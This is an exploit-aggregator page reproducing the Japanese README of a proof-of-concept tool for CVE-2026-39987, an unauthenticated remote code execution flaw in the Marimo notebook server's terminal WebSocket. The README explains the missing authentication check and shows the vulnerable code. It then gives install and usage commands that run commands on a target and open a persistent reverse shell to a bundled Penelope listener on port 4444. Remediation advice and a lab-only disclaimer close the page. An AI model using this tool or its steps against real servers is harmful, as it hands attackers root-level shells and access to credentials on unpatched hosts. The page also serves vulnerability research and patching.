Sploitus

Exploit for CVE-2026-39987

kitploit · 2026-09-02

Exploit Code

MARKDOWN268 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GBUYSSENS-CVE-2026-39987
# CVE-2026-39987 — Marimo 事前認証RCE(`/terminal/ws`)

root@kitploit:~
    
    
    CVSS 4.0 : 9.3 CRITICAL
    CVSS 3.x : 9.8 CRITICAL
    CWE      : CWE-306 (Missing Authentication for Critical Function)
    Fix      : Marimo 0.23.0+
    Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)
    

Marimo(リアクティブなPythonノートブックサーバー)における事前認証の**リモートコード実行** 。  
認証されていない単一のWebSocket接続を `/terminal/ws` へ送るだけで、Marimoプロセスを実行しているユーザー(Dockerでは多くの場合 `root`)として、完全な対話型の**PTYシェル** を取得できます。

> ラボ/許可を得たテスト専用です(HTB、CTF、書面によるスコープを含むエンゲージメント)。

* * *

## 目次

  * 脆弱性の概要
  * 根本原因
  * 攻撃チェーン
  * 影響を受けるバージョン
  * このリポジトリについて
  * インストール
  * 使い方
  * Penelope統合
  * 修復策
  * 参考情報



* * *

## 脆弱性の概要

Marimo は統合ターミナルをWebSocket経由で公開しています。

root@kitploit:~
    
    
    ws://<host>:<port>/terminal/ws
    wss://<host>/terminal/ws
    

他のWebSocketルート(特にノートブックUI用の `/ws`)は正しく `validate_auth()` を呼び出します。  
しかし **`/terminal/ws` は呼び出しません**。確認するのは次の項目だけです。

  1. サーバーが**編集** モードであること
  2. プラットフォームがPTYをサポートしていること



その後、すぐに次の処理が実行されます。

root@kitploit:~
    
    
    await websocket.accept()
    child_pid, fd = pty.fork()   # full system shell
    

インスタンスで認証が有効になっている場合でも、Cookie、トークン、パスワード、`Authorization` ヘッダーは一切不要です。

**影響:** Marimoプロセスの権限による、認証不要の任意コマンド実行。標準のコンテナイメージでは、これは多くの場合 **root** です。

* * *

## 根本原因

ファイル(脆弱なツリー): `marimo/_server/api/endpoints/terminal.py`

root@kitploit:~
    
    
    @router.websocket("/ws")
    async def websocket_endpoint(websocket: WebSocket) -> None:
        app_state = AppState(websocket)
        if app_state.mode != SessionMode.EDIT:
            await websocket.close(...)
            return
        if not supports_terminal():
            await websocket.close(...)
            return
        # <<< no validate_auth() / @requires("edit") >>>
        await websocket.accept()
        child_pid, fd = pty.fork()
        # ... bridge WebSocket <-> PTY ...
    

認証を強制しているノートブック用WebSocket(`ws_endpoint.py`)と比較してください。

root@kitploit:~
    
    
    validator = WebSocketConnectionValidator(websocket, app_state)
    if not await validator.validate_auth():
        return
    

* * *

## 攻撃チェーン

root@kitploit:~
    
    
     Attacker                         Marimo (edit mode)
        |                                    |
        |  WS upgrade /terminal/ws           |
        |----------------------------------->|
        |  101 Switching Protocols           |
        |  (no auth challenge)               |
        |<-----------------------------------|
        |                                    |  pty.fork() → /bin/bash
        |  "id\n"                            |
        |----------------------------------->|
        |  uid=1000(marimo) ...              |
        |<-----------------------------------|
        |  persistent reverse shell          |
        |----------------------------------->|
        |         <======== TCP shell =======|
    

  1. 認証情報なしで `ws(s)://target/terminal/ws` に接続する
  2. サーバーが接続を受け入れ、PTYバックアップのシェルを起動する
  3. WebSocket経由でキーストローク(コマンド)を送信する
  4. 必要に応じて、WS切断後も生き残る**デタッチされた** リバースシェルを起動する



* * *

## 影響を受けるバージョン

ステータス| バージョン  
---|---  
脆弱性あり| Marimo **< = 0.20.4**(修正前)  
修正済み| Marimo **0.23.0** 以降  
  
外部認証ゲートウェイなしでターミナルWebSocketを公開しているデプロイメント(編集モード、PTYサポート)はすべて対象となります。

* * *

## このリポジトリについて

ファイル| 役割  
---|---  
`exploit.py`| PoC: コマンド実行+持続的リバースシェル+Penelopeランチャー  
`penelope.py`| スタンドアロンのシェルハンドラー(brightio/penelope)  
`README.md`| このファイル  
  
* * *

## インストール

root@kitploit:~
    
    
    git clone <this-repo> CVE-2026-39987
    cd CVE-2026-39987
    chmod +x exploit.py penelope.py
    

`penelope.py` は追加の依存関係は**不要** です(Python 3.6+ 標準ライブラリのみ)。

* * *

## 使い方

### 1\. ワンショットのコマンド実行

root@kitploit:~
    
    
    python3 exploit.py https://example.lab "id"
    python3 exploit.py https://example.lab  -p
    python3 exploit.py wss://example.lab/terminal/ws "whoami"
    

処理の流れ:

  1. **フォークした子プロセス** が短時間待機し、`/terminal/ws` 経由で**デタッチされた** リバースシェルを届ける
  2. 親プロセスは `0.0.0.0:4444` 上で**Penelopeをexec** する
  3. コールバックが届くと、Penelopeが自動的にセッションへ接続し、TTYにアップグレードする



### 必要に応じて

root@kitploit:~
    
    
    python3 exploit.py -h
    

* * *

## Penelope統合

Penelope は**スタンドアロン** スクリプト(`penelope.py`)としてバンドルされています。

  * インストール不要、標準ライブラリのみ
  * マルチセッションハンドラー
  * 自動TTYアップグレード
  * ファイルのアップロード/ダウンロード、ログ記録など



デフォルトのフロー(`-p`):

root@kitploit:~
    
    
    exploit.py
       ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
       │
       └── exec ► penelope.py <PORT> -i 0.0.0.0
                        ▲
                        │ TCP callback
                        └── victim
    

子プロセスを使うのは意図的です: `os.execv(penelope)` は親プロセスのイメージを置き換えるため、バックグラウンドスレッドが殺されてしまいます。

手動でPenelopeを使う場合:

root@kitploit:~
    
    
    python3 penelope.py 4444
    python3 penelope.py 4444 -i 0.0.0.0
    python3 penelope.py -a          # show sample payloads for active listeners
    

* * *

## 修復策

  1. Marimoを **> = 0.23.0** に**アップグレード** する(`pip install -U marimo`)
  2. 編集モードのノートブックサーバーをパブリックインターネットに公開**しない**
  3. アプリをリモートで使う必要がある場合は、リバースプロキシで認証・認可を実施する
  4. localhost/プライベートネットワークにバインドし、VPNまたはSSHトンネルを使用する
  5. 悪用が疑われる場合: ホストから到達可能な認証情報(クラウドキー、`.env`、SSHキー)をローテーションし、外向き接続と永続化を監査する



* * *

## 参考情報

  * NVD — CVE-2026-39987
  * GHSA-2679-6mx9-h9xc
  * Marimo fix PR #9098
  * Resecurity analysis
  * Penelope shell handler



* * *

## 免責事項

このプロジェクトは**許可を得た** セキュリティテスト、教育、防御研究のみを目的としています。  
適用される法律およびラボやクライアントのエンゲージメントルールを遵守する責任はすべて利用者にあります。